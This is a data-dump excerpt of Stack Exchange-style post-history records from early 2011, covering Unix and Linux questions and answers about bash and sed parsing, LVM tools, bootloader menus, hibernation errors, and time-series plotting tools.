  <row Id="15193" PostHistoryTypeId="1" PostId="6623" RevisionGUID="e263d485-4a60-4095-b883-298ec9a6d44a" CreationDate="2011-01-29T01:34:53.853" UserId="29" Text="How do I associate applications with KDE activities?" />
  <row Id="15194" PostHistoryTypeId="3" PostId="6623" RevisionGUID="e263d485-4a60-4095-b883-298ec9a6d44a" CreationDate="2011-01-29T01:34:53.853" UserId="29" Text="ékdeàékdeöactivitiesà" />
  <row Id="15195" PostHistoryTypeId="6" PostId="3543" RevisionGUID="00bda005-5711-49a6-84e5-9c96ef37caa5" CreationDate="2011-01-29T01:36:40.683" UserId="29" Comment="add kde-activities tag" Text="ébashàékdeàékdeöactivitiesà" />
  <row Id="15196" PostHistoryTypeId="5" PostId="6621" RevisionGUID="e6f00947-1d3e-45b0-b07f-1fc19e342a5d" CreationDate="2011-01-29T01:43:48.193" UserId="138" Comment="softened correction in last para" Text="&lt;a href=&quot;http://www.r-project.org/&quot;&gt;R&lt;/a&gt; is better at this sort of thing because:&#xD;&#xA;&#xD;&#xA;1. It's a complete programming environment, with &lt;a href=&quot;http://cran.r-project.org/doc/manuals/R-exts.html&quot;&gt;C and Fortran-compatible extension APIs&lt;/a&gt;, so there is literally nothing you can't make it do.&#xD;&#xA;&#xD;&#xA;2. Many have already contributed their solutions to common problems to the &lt;a href=&quot;http://cran.r-project.org/&quot;&gt;CRAN&lt;/a&gt;: Comprehensive R Archive Network.&#xD;&#xA;&#xD;&#xA;3. There are &lt;a href=&quot;http://www.amazon.com/Introductory-Time-R-Use/dp/0387886974/&quot;&gt;many&lt;/a&gt; &lt;a href=&quot;http://www.amazon.com/Introductory-Time-R-ebook/dp/B003VYBPA6/&quot;&gt;books&lt;/a&gt; on &lt;a href=&quot;http://www.amazon.com/Time-Analysis-Applications-Springer-Statistics/dp/0387759581/&quot;&gt;time series analysis&lt;/a&gt; and &lt;a href=&quot;http://www.amazon.com/R-Nutshell-Desktop-Quick-Reference/dp/059680170X/&quot;&gt;R&lt;/a&gt; &lt;a href=&quot;http://www.amazon.com/R-Book-Michael-J-Crawley/dp/0470510242/&quot;&gt;in general&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;R has everything you asked for:&#xD;&#xA;&#xD;&#xA;- Outputs to X11, PNG, or (with &lt;a href=&quot;http://cran.r-project.org/web/packages/RSvgDevice/&quot;&gt;an add-on&lt;/a&gt;) SVG&#xD;&#xA;&#xD;&#xA;- Filled circles for plot points: pass `pch=19` or `pch=20` to &lt;a href=&quot;http://stat.ethz.ch/R-manual/R-patched/library/graphics/html/par.html&quot;&gt;par()&lt;/a&gt; or &lt;a href=&quot;http://stat.ethz.ch/R-manual/R-patched/library/graphics/html/points.html&quot;&gt;points()&lt;/a&gt;. There are many other plot point symbols predefined, plus all of Unicode if you're using a font with Unicode support.&#xD;&#xA;&#xD;&#xA;- Time-aware charting: if the built-in ones don't have the scaling you want, you can build anything you need with R's plotting primitives&#xD;&#xA;&#xD;&#xA;- Callable from a script: use a `#!/usr/bin/Rscript` shebang line on your R program file&#xD;&#xA;&#xD;&#xA;- Nice and convenient: There are GUI frontends, if you like, and if you don't like, the default command-driven environment has a lot of nice features, like the ability to see the R source code of many builtin operations, which helps to learn how the system is put together. (Yes, much of R is written in R!)&#xD;&#xA;&#xD;&#xA;- Pretty plots: Antialiasing is the default if R is built against Cairo, which it will be if it's a recent build on Linux. Old versions of R may not have AA built in. For an idea of the capability of R if you put a bit of time into it, check this out:&#xD;&#xA;&#xD;&#xA; &lt;a href=&quot;http://www.vizworld.com/2010/12/visualizing-facebook-friends-eye-candy/&quot;&gt;&lt;img src=&quot;http://images.vizworld.com/wp-content/uploads/2010/12/facebook-mapped-595x298.jpg&quot;&gt;&lt;/a&gt;&#xD;&#xA;&#xD;&#xA; (Click image for article describing it.)&#xD;&#xA;&#xD;&#xA;Regarding the gnuplot command line, you can build it to support GNU readline, BSD libedit, or as a fall-back, a custom built-in command line editing scheme. (This according to p.20 of &lt;a href=&quot;http://www.gnuplot.info/docs_4.4/gnuplot.pdf&quot;&gt;the manual&lt;/a&gt;.)  I have gnuplot 3.7 on one machine and 4.0 on another, and they're both built with readline. Perhaps you have a special masochist's/minimalist's build? :)" />
  <row Id="15197" PostHistoryTypeId="5" PostId="6537" RevisionGUID="e0103d72-60bd-40a6-9a21-0d26cf7fa6db" CreationDate="2011-01-29T02:03:41.923" UserId="688" Comment="merciless editing; added 12 characters in body" Text="Indeed it's possible and of course it exists, but all of the existing projects are still just experiments.&#xD;&#xA;&#xD;&#xA;I found two interesting papers:&#xD;&#xA;&#xD;&#xA;* *[A P2P-Based Architecture for Secure Software Delivery Using Volunteer Assistance][1]*&#xD;&#xA;* *[Simulation platform for distributed package management network][2]*. Of specific interest is a chapter where the concept of *Repository-less Package Management Network* is introduced.&#xD;&#xA;&#xD;&#xA;So yes, it's possible and it's indeed a really interesting subject.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.p2p08.org/program/sessions/08-cooperative-systems/1%20-%20P2p08.pdf/at_download/file&#xD;&#xA;  [2]: http://enstb.org/~gsimon/Resources/sujet_master_2011.pdf" />
  <row Id="15198" PostHistoryTypeId="25" PostId="6619" RevisionGUID="7daf0906-2aa3-4a1c-bec2-909ec256791a" CreationDate="2011-01-29T02:16:06.250" Comment="http://twitter.com/#!/StackUnix/status/31173709418987520" />
  <row Id="15199" PostHistoryTypeId="2" PostId="6624" RevisionGUID="20b6df35-4c6d-4fd2-a0e5-04916357d4d1" CreationDate="2011-01-29T02:54:24.470" UserId="457" Text="[RRDTool][1]'s whole purpose of existence is plotting time series data, but it's primarily meant for automated graphing and may not be the best fit for your needs. &#xD;&#xA;&#xD;&#xA;That said:&#xD;&#xA;&#xD;&#xA;* It can output in either PNG or SVG, but has no preview functionality.&#xD;&#xA;* Time-scaling is built in.&#xD;&#xA;* Easily scripted (command line access or libraries in many scripting languages).&#xD;&#xA;* Output can be made to look pretty decent&#xD;&#xA;.&#xD;&#xA;&#xD;&#xA;![RRDTool graph][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mrtg.org/rrdtool/ &quot;RRDtool&quot;&#xD;&#xA;  [2]: http://i.imgur.com/lAu9J.png" />
  <row Id="15200" PostHistoryTypeId="25" PostId="6620" RevisionGUID="5e8bfd04-6dcf-4b15-a30c-1d3376454a14" CreationDate="2011-01-29T05:16:05.690" Comment="http://twitter.com/#!/StackUnix/status/31219005708570624" />
  <row Id="15201" PostHistoryTypeId="2" PostId="6625" RevisionGUID="ea22fb8f-34e5-4168-9aa8-207c6ddfe721" CreationDate="2011-01-29T06:04:20.403" UserId="3496" Text="I installed Ubuntu 10.10 recently and installed BURG(bootloader based on GRUB). However, the boot menu seems to have swapped Vista and Windows Recovery mode; so to go to Vista I need to select the 'recovery mode'. How can I fix this? " />
  <row Id="15202" PostHistoryTypeId="1" PostId="6625" RevisionGUID="ea22fb8f-34e5-4168-9aa8-207c6ddfe721" CreationDate="2011-01-29T06:04:20.403" UserId="3496" Text="BURG menu error. Please help fix it " />
  <row Id="15203" PostHistoryTypeId="3" PostId="6625" RevisionGUID="ea22fb8f-34e5-4168-9aa8-207c6ddfe721" CreationDate="2011-01-29T06:04:20.403" UserId="3496" Text="édualöbootàégrub2à" />
  <row Id="15204" PostHistoryTypeId="2" PostId="6626" RevisionGUID="6a26acc6-5ce9-4f33-823a-66054a9d0d4d" CreationDate="2011-01-29T06:09:53.577" UserId="250" Text="I have been looking but neither Gparted nor KDE Partition Manager can handle LVM. Working with the command line is probably fine but it would be clearer to have a GUI tool here. Does such thing exist?" />
  <row Id="15205" PostHistoryTypeId="1" PostId="6626" RevisionGUID="6a26acc6-5ce9-4f33-823a-66054a9d0d4d" CreationDate="2011-01-29T06:09:53.577" UserId="250" Text="Partition manager that can handle LVM?" />
  <row Id="15206" PostHistoryTypeId="3" PostId="6626" RevisionGUID="6a26acc6-5ce9-4f33-823a-66054a9d0d4d" CreationDate="2011-01-29T06:09:53.577" UserId="250" Text="épartitionàélvmà" />
  <row Id="15207" PostHistoryTypeId="2" PostId="6627" RevisionGUID="375ca6d9-9179-43d3-b3e8-e9d7044b04d3" CreationDate="2011-01-29T06:31:28.743" UserId="1779" Text="In RedHat's set of administration tools, there's [system-config-lvm](http://docs.redhat.com/docs/en-US/Red_Hat_Enterprise_Linux/6/html/Storage_Administration_Guide/s1-system-config-lvm.html), which is optionally installable in other distributions like Fedora and Debian.&#xD;&#xA;&#xD;&#xA;Recent versions of [gnome-disk-utility](http://library.gnome.org/users/palimpsest/) support LVM.&#xD;&#xA;&#xD;&#xA;The newly-released [KDE 4.6](http://www.kde.org/announcements/4.6/) gains [udisks](http://www.freedesktop.org/wiki/Software/udisks) as a [Solid](http://solid.kde.org/) backend, which should provide LVM support.  (Out of the three, this is the only one I haven't tried.)" />
  <row Id="15208" PostHistoryTypeId="2" PostId="6628" RevisionGUID="0dcdd5d1-298e-48c3-9f2f-89ecd9549e4d" CreationDate="2011-01-29T06:40:39.510" UserId="3540" Text="I know some people have some startup scripts and some people personalise the prompt. One developer uses short aliases for the long path he often visits and the frequent commands he runs.&#xD;&#xA;&#xD;&#xA; What are all the effective customization you have done on your UNIX profile to increase productivity and ease of use?" />
  <row Id="15209" PostHistoryTypeId="1" PostId="6628" RevisionGUID="0dcdd5d1-298e-48c3-9f2f-89ecd9549e4d" CreationDate="2011-01-29T06:40:39.510" UserId="3540" Text="What are all the customizations do you use for your profile on UNIX?" />
  <row Id="15210" PostHistoryTypeId="3" PostId="6628" RevisionGUID="0dcdd5d1-298e-48c3-9f2f-89ecd9549e4d" CreationDate="2011-01-29T06:40:39.510" UserId="3540" Text="éunixàéuseröspaceà" />
  <row Id="15211" PostHistoryTypeId="2" PostId="6629" RevisionGUID="594533da-240d-4311-bac4-aab021729628" CreationDate="2011-01-29T06:51:04.720" UserId="451" Text="Been banging my head off a wall on this&#xD;&#xA;&#xD;&#xA;bash variable LATLNG contains a latitude &amp; longitude value in brackets like so  &#xD;&#xA;&#xD;&#xA;`(53.3096,-6.28396)`&#xD;&#xA;&#xD;&#xA;I want to parse these into a variable called LAT and LON which I'm trying to do via sed like so  &#xD;&#xA;&#xD;&#xA;`LAT=$(sed &quot;s/(\(.*\),\(.*\))/\1/g&quot; &quot;$LATLNG&quot;)`  &#xD;&#xA;`LON=$(sed &quot;s/(\(.*\),\(.*\))/\2/g&quot; &quot;$LATLNG&quot;)`&#xD;&#xA;&#xD;&#xA;However, I get the following error:  &#xD;&#xA;&#xD;&#xA;`sed: can't read (53.3096,-6.28396): No such file or directory`&#xD;&#xA;&#xD;&#xA;I'm obviously doing something silly here but it's very late and I cant see what it is.  I've tried several other variations without luck too." />
  <row Id="15212" PostHistoryTypeId="1" PostId="6629" RevisionGUID="594533da-240d-4311-bac4-aab021729628" CreationDate="2011-01-29T06:51:04.720" UserId="451" Text="Need help processing bash variable with sed" />
  <row Id="15213" PostHistoryTypeId="3" PostId="6629" RevisionGUID="594533da-240d-4311-bac4-aab021729628" CreationDate="2011-01-29T06:51:04.720" UserId="451" Text="éshellàébashàéscriptingàéshellöscriptàésedà" />
  <row Id="15214" PostHistoryTypeId="2" PostId="6630" RevisionGUID="974eee52-70aa-4239-8996-4faadf6d0f0c" CreationDate="2011-01-29T06:56:22.937" UserId="1338" Text="This can be solved via pure shell syntax. It does require a temp variable because of the parentheses (brackets) though:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    LATLNG=&quot;(53.3096,-6.28396)&quot;&#xD;&#xA;    &#xD;&#xA;    tmp=${LATLNG//[()]/}&#xD;&#xA;    LAT=${tmp%,*}&#xD;&#xA;    LNG=${tmp#*,}" />
  <row Id="15215" PostHistoryTypeId="5" PostId="6630" RevisionGUID="cf5244e7-9171-4055-8e83-8175e478af67" CreationDate="2011-01-29T07:11:35.953" UserId="1338" Comment="added 205 characters in body; added 2 characters in body; deleted 1 characters in body" Text="This can be solved via pure shell syntax. It does require a temp variable because of the parentheses (brackets) though:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    LATLNG=&quot;(53.3096,-6.28396)&quot;&#xD;&#xA;    &#xD;&#xA;    tmp=${LATLNG//[()]/}&#xD;&#xA;    LAT=${tmp%,*}&#xD;&#xA;    LNG=${tmp#*,}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Alternatively, you can do it in one go by playing with `IFS` and using the `read` builtin:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    LATLNG=&quot;(53.3096,-6.28396)&quot;&#xD;&#xA;    &#xD;&#xA;    IFS='( ,)' read _ LAT LNG _ &lt;&lt;&lt;&quot;$LATLNG&quot;" />
  <row Id="15216" PostHistoryTypeId="2" PostId="6631" RevisionGUID="7df0679d-fc96-41e5-ac9b-6a023c2a3e94" CreationDate="2011-01-29T07:42:22.553" UserId="3629" Text="On my system (Debian; Linux 2.6; `rm --version` reports GNU coreutils 8.5), whether or not **dir** is a mount point, the following removes **file**, but not **dir** or **link**, and gives me the same error you saw:&#xD;&#xA;&#xD;&#xA;    # mkdir dir &amp;&amp; touch dir/file &amp;&amp; ln -s dir link&#xD;&#xA;    # rm -r link/&#xD;&#xA;    rm: cannot remove `link': Not a directory&#xD;&#xA;    # ls&#xD;&#xA;    dir  link&#xD;&#xA;    # ls -l dir&#xD;&#xA;    total 0&#xD;&#xA;&#xD;&#xA;    # mount .../scratch_filesystem dir&#xD;&#xA;    # touch dir/file&#xD;&#xA;    # rm -r link/&#xD;&#xA;    rm: cannot remove `link': Not a directory&#xD;&#xA;    # ls&#xD;&#xA;    dir  link&#xD;&#xA;    # ls -l dir&#xD;&#xA;    total 0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If I'm following you right, your `rm -r link/` command doesn't remove **file**, unless **dir/** is a mount point.  If that's the case, I think you're seeing a bug in `rm`.  There's no good reason for a mount point to change its behavior like that.&#xD;&#xA;&#xD;&#xA;It would be interesting to know what version of `rm` you're using." />
  <row Id="15217" PostHistoryTypeId="2" PostId="6632" RevisionGUID="e89c539c-ce74-42c1-a611-ab3ee8070795" CreationDate="2011-01-29T08:00:29.403" UserId="3629" Text="SiegeX's answer is better for this particular case, but you should also know how to pass arbitrary text to `sed`.&#xD;&#xA;&#xD;&#xA;`sed` is expecting filenames as its second, third, etc. parameters, and if it doesn't find any filenames, it reads from its standard input.  So if you have text that you want to process that's not in a file, you have to pipe it to `sed`.  The most straightforward way is this:&#xD;&#xA;&#xD;&#xA;    echo &quot;blah blah&quot; | sed 's/blah/blam/g'&#xD;&#xA;&#xD;&#xA;So your example would become:&#xD;&#xA;&#xD;&#xA;    LAT=$(echo &quot;$LATLNG&quot; | sed 's/(\(.*\),\(.*\))/\1/g')&#xD;&#xA;    LON=$(echo &quot;$LATLNG&quot; | sed 's/(\(.*\),\(.*\))/\2/g')&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;### Alternate (better but more obscure) Methods&#xD;&#xA;&#xD;&#xA;If you think there's any chance that `$LATLNG` could begin with a dash, or if you want to be pedantic, you should use `printf` instead of `echo`:&#xD;&#xA;&#xD;&#xA;    printf '%s' &quot;$LATLNG&quot; | sed 's/foo/bar/g'&#xD;&#xA;&#xD;&#xA;Or a &quot;here document&quot;, but that can be a little awkward with the construct you're using:&#xD;&#xA;&#xD;&#xA;    LAT=$(sed 's/foo/bar/g' &lt;&lt;END&#xD;&#xA;    $LATLNG&#xD;&#xA;    END&#xD;&#xA;    )&#xD;&#xA;&#xD;&#xA;Or if you're using `bash` and not worried about portability, you can use a &quot;here string&quot;:&#xD;&#xA;&#xD;&#xA;    sed 's/foo/bar/g' &lt;&lt;&lt; &quot;$LATLNG&quot;" />
  <row Id="15218" PostHistoryTypeId="16" PostId="6628" RevisionGUID="c71d44f9-7125-4abf-806c-5f46d344c8f5" CreationDate="2011-01-29T08:02:45.297" UserId="73" />
  <row Id="15219" PostHistoryTypeId="5" PostId="6628" RevisionGUID="8a8f2284-7a31-4455-82bf-d0f8869bece5" CreationDate="2011-01-29T08:07:29.473" UserId="688" Comment="deleted 1 characters in body; edited tags; edited title" Text="I know some people have some startup scripts and some people personalise the prompt. One developer uses short aliases for the long path he often visits and the frequent commands he runs.&#xD;&#xA;&#xD;&#xA;What are all the effective customization you have done on your UNIX profile to increase productivity and ease of use?" />
  <row Id="15220" PostHistoryTypeId="4" PostId="6628" RevisionGUID="8a8f2284-7a31-4455-82bf-d0f8869bece5" CreationDate="2011-01-29T08:07:29.473" UserId="688" Comment="deleted 1 characters in body; edited tags; edited title" Text="What customizations have you done on your shell profile to increase productivity?" />
  <row Id="15221" PostHistoryTypeId="6" PostId="6628" RevisionGUID="8a8f2284-7a31-4455-82bf-d0f8869bece5" CreationDate="2011-01-29T08:07:29.473" UserId="688" Comment="deleted 1 characters in body; edited tags; edited title" Text="éshellàéunixà" />
  <row Id="15222" PostHistoryTypeId="25" PostId="6626" RevisionGUID="d1300169-f56c-4ec1-9909-2688287a95f5" CreationDate="2011-01-29T08:16:06.173" Comment="http://twitter.com/#!/StackUnix/status/31264306083401728" />
  <row Id="15223" PostHistoryTypeId="4" PostId="3345" RevisionGUID="e576b3ca-aac2-46e1-9817-369889f063fc" CreationDate="2011-01-29T08:35:45.827" UserId="688" Comment="edited title" Text="How to upgrade PHP to 5.3 on Debian 5.0 (Lenny)?" />
  <row Id="15224" PostHistoryTypeId="5" PostId="3801" RevisionGUID="b751d1c1-4907-4554-bc79-e41bbcd107fe" CreationDate="2011-01-29T08:43:52.403" UserId="688" Comment="formatting" Text="Here's two guides:&#xD;&#xA;&#xD;&#xA;* One [guide][1] in Unity Linux forum&#xD;&#xA;* And [another one][2] in PClos&#xD;&#xA;&#xD;&#xA;I think both use separate partitions for each kernel.&#xD;&#xA;&#xD;&#xA;The entries in &quot;**/boot/grub/menu.lst**&quot; are like this:&#xD;&#xA;&#xD;&#xA;    title Unity-2010 -- With Persistence&#xD;&#xA;    kernel (hd0,0)/isolinux/vmlinuz vga=788 livecd=livecd fromusb&#xD;&#xA;    root=Label=Unity-2010 changes_dev=LABEL=Unity-2010 acpi=on fstab=rw,noauto&#xD;&#xA;    initrd (hd0,0)/isolinux/initrd.gz&#xD;&#xA;    &#xD;&#xA;    title Unity-2010 -- No Persistence&#xD;&#xA;    kernel (hd0,0)/isolinux/vmlinuz vga=788 livecd=livecd fromusb&#xD;&#xA;    root=Label=Unity-2010  acpi=on fstab=rw,noauto&#xD;&#xA;    initrd (hd0,0)/isolinux/initrd.gz&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forum.unity-linux.org/thread-841.html&#xD;&#xA;  [2]: http://www.pclinuxos.com/forum/index.php/topic,74878.0.html" />
  <row Id="15225" PostHistoryTypeId="2" PostId="6633" RevisionGUID="a4e69b58-0fc3-47aa-b242-caf96554d05c" CreationDate="2011-01-29T08:45:31.870" UserId="1946" Text="Why don't you just do it like this: `sudo su postgres -c &quot;psql ...&quot; &gt;/path/to/file`?&#xD;&#xA;" />
  <row Id="15226" PostHistoryTypeId="5" PostId="5939" RevisionGUID="b567c3ad-9f79-4795-b4de-98818f115605" CreationDate="2011-01-29T09:13:29.947" UserId="688" Comment="added 22 characters in body" Text="I installed Ubuntu 10.04 (LTS) to a VPS server I'm renting and get this critical error when booting:&#xD;&#xA;&#xD;&#xA;    Filesystem type is ext2fs, partition type 0x83&#xD;&#xA;&#xD;&#xA;This prevents the rest of the boot process to continue. &#xD;&#xA;&#xD;&#xA;When &quot;Googling&quot;, I found no answers besides &quot;re-install&quot;. I already tried that 3 times, and am still experiencing the same problem.&#xD;&#xA;" />
  <row Id="15227" PostHistoryTypeId="5" PostId="6623" RevisionGUID="947bd558-afc8-4818-a41c-76bbc1d04225" CreationDate="2011-01-29T09:17:22.360" UserId="688" Comment="this isn't a generic activity, but a special concept" Text="How do I associate applications with KDE Activities? It doesn't seem obvious how it works. Are there any tricks?" />
  <row Id="15228" PostHistoryTypeId="4" PostId="6623" RevisionGUID="947bd558-afc8-4818-a41c-76bbc1d04225" CreationDate="2011-01-29T09:17:22.360" UserId="688" Comment="this isn't a generic activity, but a special concept" Text="How do I associate applications with KDE Activities?" />
  <row Id="15229" PostHistoryTypeId="2" PostId="6634" RevisionGUID="7dc99c6b-d81e-4205-82ac-27035c12962f" CreationDate="2011-01-29T09:20:32.187" UserId="1383" Text="The most standard answer is [`pax`][1], which is recommended over [`cpio`][2] and [`tar`][3].&#xD;&#xA;&#xD;&#xA;Unlike `cpio` and Posix `tar`, but like GNU `tar`, `pax` is able to both archive files and compress the archive. This behaviour is different from [`zip`][4], which compresses each file before putting it in the archive.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Pax_(Unix)&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Cpio&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Tar_(file_format)&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/ZIP_(file_format)" />
  <row Id="15230" PostHistoryTypeId="5" PostId="2601" RevisionGUID="b2cbafe6-ae85-47a4-8d04-cd9686dbc571" CreationDate="2011-01-29T09:29:40.027" UserId="688" Comment="grammar; formatting" Text="With my new built computer Ubuntu 10.4 lucid won't hibernate or suspend.  It's a custom-built Core i7 on the Gigabyte X58A-UD3R motherboard. Hibernate is enabled in the bios.&#xD;&#xA;&#xD;&#xA;Running `sudo hibernate` gives:&#xD;&#xA;&#xD;&#xA;&gt; hibernate:Warning: Tuxonice binary&#xD;&#xA;&gt; signature file not found. Some modules&#xD;&#xA;&gt; failed to unload: nvidia hibernate:&#xD;&#xA;&gt; Aborting suspend due to errors in&#xD;&#xA;&gt; ModulesUnloadBlacklist (use --force to&#xD;&#xA;&gt; override).&#xD;&#xA;&#xD;&#xA;After installing, linux-generic-tuxonice and linux-headers-generic-tuxonice, and rebuilding my nvidia dev drivers, it still does not work. But I think I'm closer. Now, when I run `sudo hibernate` I get:&#xD;&#xA;&#xD;&#xA;    hibernate: TuxOnIce reported the following errors:&#xD;&#xA;     - TuxOnIce was aborted (see dmesg).&#xD;&#xA;     - Some devices refused to suspend (see dmesg).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&quot;gmesg | grep error&quot; returns &#xD;&#xA;&#xD;&#xA;     [  736.173906] PM: Device usb9 failed to freeze: error -2&#xD;&#xA;     [  736.642208]                  : A device suspend/resume returned an error.&#xD;&#xA;&#xD;&#xA;Any ideas how to find out what is on usb9 and why it's failing to freeze.  The only thing that I have on usb is the keyboard and mouse.&#xD;&#xA;" />
  <row Id="15231" PostHistoryTypeId="5" PostId="5625" RevisionGUID="584f4d85-6726-4aaf-a00f-dbd424b1fe18" CreationDate="2011-01-29T09:34:47.073" UserId="688" Comment="grammar; formatting; deleted 15 characters in body" Text="With the help of [this guide][1], I am trying to install ffmpeg using these commands:&#xD;&#xA;&#xD;&#xA;     # cd ffmpeg-php/branches/ffmpeg-php/ffmpeg-php-0.6.1/&#xD;&#xA;     # replace 'PIX_FMT_RGBA32' 'PIX_FMT_RGB32' -- *&#xD;&#xA;     # phpize &#xD;&#xA;     # ./configure --with-ffmpeg=/usr/local/cpffmpeg&#xD;&#xA;     # make &#xD;&#xA;     # make install&#xD;&#xA;&#xD;&#xA;But when I run this `replace 'PIX_FMT_RGBA32' 'PIX_FMT_RGB32' -- *` I get this error:&#xD;&#xA;&#xD;&#xA;&gt; replace: Error reading file&#xD;&#xA;&gt; 'autom4te.cache' (Errcode: 21)&#xD;&#xA;&gt; replace: Error reading file 'build'&#xD;&#xA;&gt; (Errcode: 21) ffmpeg_frame.c converted&#xD;&#xA;&gt; replace: Error reading file 'include'&#xD;&#xA;&gt; (Errcode: 21) replace: Error reading&#xD;&#xA;&gt; file 'modules' (Errcode: 21) replace:&#xD;&#xA;&gt; Error reading file 'tests' (Errcode:&#xD;&#xA;&gt; 21)&#xD;&#xA;&#xD;&#xA;And when I run `make` and skip that line I get:&#xD;&#xA;&#xD;&#xA;    /root/ffmpeg-php/branches/ffmpeg-php/ffmpeg-php-0.6.1/ffmpeg-php.c:171: error: expected '{' at end of input&#xD;&#xA;    make: *** [ffmpeg-php.lo] Error 1&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://forum.syslint.com/topic/136/solved-install-ffmpegphp-061-along-with-ffmpeginstaller-63/ " />
  <row Id="15232" PostHistoryTypeId="5" PostId="2189" RevisionGUID="d42c86c2-d8de-4cfc-9530-22e238c80aea" CreationDate="2011-01-29T09:40:01.483" UserId="688" Comment="deleted 2 characters in body" Text="I am running SuSE 11.2. I also have windows and Ubuntu on the same machine. The problem is that I cannot get Ubuntu to show as a boot option on SuSE's grub. The Ubuntu partition is on `/dev/sda5`. Here is my `/boot/grub/menu.lst`:&#xD;&#xA;&#xD;&#xA;    # Modified by YaST2. Last modification on Wed Sep 15 13:08:06 SAST 2010&#xD;&#xA;    # THIS FILE WILL BE PARTIALLY OVERWRITTEN by perl-Bootloader&#xD;&#xA;    # Configure custom boot parameters for updated kernels in /etc/sysconfig/bootloader&#xD;&#xA;    &#xD;&#xA;    default 0&#xD;&#xA;    timeout 8&#xD;&#xA;    ##YaST - generic_mbr&#xD;&#xA;    gfxmenu (hd0,2)/boot/message&#xD;&#xA;    ##YaST - activate&#xD;&#xA;    &#xD;&#xA;    ###Don't change this comment - YaST2 identifier: Original name: linux###&#xD;&#xA;    title Desktop -- openSUSE 11.2 - 2.6.31.12-0.2&#xD;&#xA;        root (hd0,2)&#xD;&#xA;        kernel /boot/vmlinuz-2.6.31.12-0.2-desktop root=/dev/disk/by-id/ata-ST3160815AS_9RX3KRP8-part3 resume=/dev/disk/by-id/ata-ST3160815AS_9RX3KRP8-part2 splash=silent quiet showopts vga=0x31a&#xD;&#xA;        initrd /boot/initrd-2.6.31.12-0.2-desktop&#xD;&#xA;    &#xD;&#xA;    ###Don't change this comment - YaST2 identifier: Original name: failsafe###&#xD;&#xA;    title Failsafe -- openSUSE 11.2 - 2.6.31.12-0.2&#xD;&#xA;        root (hd0,2)&#xD;&#xA;        kernel /boot/vmlinuz-2.6.31.12-0.2-desktop root=/dev/disk/by-id/ata-ST3160815AS_9RX3KRP8-part3 showopts apm=off noresume nosmp maxcpus=0 edd=off powersaved=off nohz=off highres=off processor.max_cstate=1 x11failsafe vga=0x31a&#xD;&#xA;        initrd /boot/initrd-2.6.31.12-0.2-desktop&#xD;&#xA;    &#xD;&#xA;    ###Don't change this comment - YaST2 identifier: Original name: windows###&#xD;&#xA;    title Windows&#xD;&#xA;        rootnoverify (hd0,0)&#xD;&#xA;        chainloader +1&#xD;&#xA;    &#xD;&#xA;    #Don’t change this comment – YaST2 identifier: Original name: none#&#xD;&#xA;    title Ubuntu 10.04&#xD;&#xA;        root (hd0,4)&#xD;&#xA;        kernel /vmlinuz root=/dev/sda5 ro quiet splash&#xD;&#xA;        initrd /initrd.img" />
  <row Id="15233" PostHistoryTypeId="5" PostId="5940" RevisionGUID="079e1493-5e26-47dc-b697-774a82a56308" CreationDate="2011-01-29T09:45:15.987" UserId="688" Comment="deleted 5 characters in body" Text="I have a monitor which was properly switched off by my Debian PC when&#xD;&#xA;unused. I attached it to another machine and, this times, it is never&#xD;&#xA;switched off.&#xD;&#xA;&#xD;&#xA;In `/etc/X11/xorg.conf`, I have:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Section &quot;Monitor&quot;&#xD;&#xA;        Identifier      &quot;Generic Monitor&quot;&#xD;&#xA;        Option          &quot;DPMS&quot;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;It is recognized when X11 starts:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;(II) Loading extension DPMS&#xD;&#xA;...&#xD;&#xA;(II) VESA(0): DPMS capabilities: StandBy Suspend Off; RGB/Color Display&#xD;&#xA;...&#xD;&#xA;(**) Option &quot;dpms&quot;&#xD;&#xA;(**) VESA(0): DPMS enabled&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;The operating system is Debian 5 (Lenny). The graphics card is:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;00:02.0 VGA compatible controller: Intel Corporation 82G33/G31 Express Integrate&#xD;&#xA;d Graphics Controller (rev 02) (prog-if 00 [VGA controller])&#xD;&#xA;        Subsystem: Hewlett-Packard Company Device 2a6f&#xD;&#xA;        Flags: bus master, fast devsel, latency 0, IRQ 5&#xD;&#xA;        Memory at fe900000 (32-bit, non-prefetchable) [size=512K]&#xD;&#xA;        I/O ports at b080 [size=8]&#xD;&#xA;        Memory at d0000000 (32-bit, prefetchable) [size=256M]&#xD;&#xA;        Memory at fe800000 (32-bit, non-prefetchable) [size=1M]&#xD;&#xA;        Capabilities: [90] Message Signalled Interrupts: Mask- 64bit- Queue=0/0  Enable-Capabilities: [d0] Power Management version 2&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;X11 is:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;X.Org X Server 1.4.2&#xD;&#xA;Release Date: 11 June 2008&#xD;&#xA;X Protocol Version 11, Revision 0&#xD;&#xA;Build Operating System: Linux Debian (xorg-server 2:1.4.2-10.lenny2)&#xD;&#xA;Current Operating System: Linux ludwigVII 2.6.26-2-686 #1 SMP Sun Jun 21 04:57:3&#xD;&#xA;8 UTC 2009 i686&#xD;&#xA;Build Date: 08 June 2009  09:12:57AM&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;" />
